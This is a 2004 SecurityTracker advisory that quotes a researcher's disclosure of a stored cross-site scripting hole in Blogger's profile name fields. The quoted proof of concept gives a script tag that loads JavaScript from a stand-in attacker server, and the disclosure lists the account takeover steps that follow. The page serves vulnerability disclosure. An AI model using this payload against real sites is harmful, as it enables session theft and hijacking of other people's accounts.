Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
Blogger Input Validation Holes in User Profile Fields Permit Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1009560 |
|
SecurityTracker URL: http://securitytracker.com/id/1009560
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Mar 26 2004
|
Impact:
Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
|
Description:
An input validation vulnerability was reported in Blogger. A remote user can conduct cross-site scripting attacks.
Ferruh Mavituna reported that the service does not filter HTML code from user-supplied input in the user profiles (e.g., "First Name", "Last Name"). A remote user can create a profile with specially crafted parameters. Then, when a target user views the profile, arbitrary scripting code will be executed by the target user's browser. The code will originate from the Blogger site and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
The vendor was reportedly notified on February 25, 2004.
|
Impact:
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the Blogger site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.blogger.com/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Fri, 26 Mar 2004 17:15:41 +0200
Subject: [VulnWatch] Blogger XSS Vulnerability
|
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- ------------------------------------------------------
BLOGGER XSS VULNERABILITY
- ------------------------------------------------------
Online URL : http://ferruh.mavituna.com/article/?470
Severity : Moderately Critical for Members (Permanent Account
Hijacking)
- ------------------------------------------------------
ABOUT BLOGGER;
- ------------------------------------------------------
Blogger is a web-based tool that helps you publish to the web
instantly -- whenever the urge strikes. Blogger is the leading tool
in the rapidly growing area of web publishing known as weblogs, or
"blogs."
by Google (Pyra Labs acquired by Google)
- ------------------------------------------------------
XSS DETAILS;
- ------------------------------------------------------
There is no HTML filter when rendering user profiles. So anyone can
inject a script into a profile's "First Name" "Last Name" etc.
If you inject a code into "First Name" this will be print and run in
users's first page [www.blogger.com], so an attacker can easily gain
victim's account.
------------------------------------------------------
Proof Of Concept;
------------------------------------------------------
Inject [script src="http://[ATTACKER-SERVER]/EVIL-JS/"][/script] to
victim "First Name"
Now you can execute anything in remote.
After login as your victim;
I. You can change password (without old password)
II. You can change e-mail address without any confirmation
III. You can own the victim blogs
*Replace ][,<>
*Script injection is limited to 50 characters (but it's pretty
enough to add js script)
- -----------------------------------------------------
HISTORY;
- ------------------------------------------------------
Discovered : 2/22/2004
Vendor Informed : 2/25/2004
Published : 3/26/2004
- ------------------------------------------------------
VENDOR STATUS;
- ------------------------------------------------------
Contact established with Google but there is no answer.
Ferruh Mavituna
Web Application Security Specialist
http://ferruh.mavituna.com
ferruh@mavituna.com
PGPKey : http://ferruh.mavituna.com/PGPKey.asc
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0.3
iQA/AwUBQGRJDzL0QoVzo2STEQJmRwCgxUQ+ZG5yfajXvitVnJDhB9e5lY4AoNGB
ANN10x5LT+9GahY9KvS9PURv
=YmrO
-----END PGP SIGNATURE-----
|
|
Go to the Top of This SecurityTracker Archive Page
|
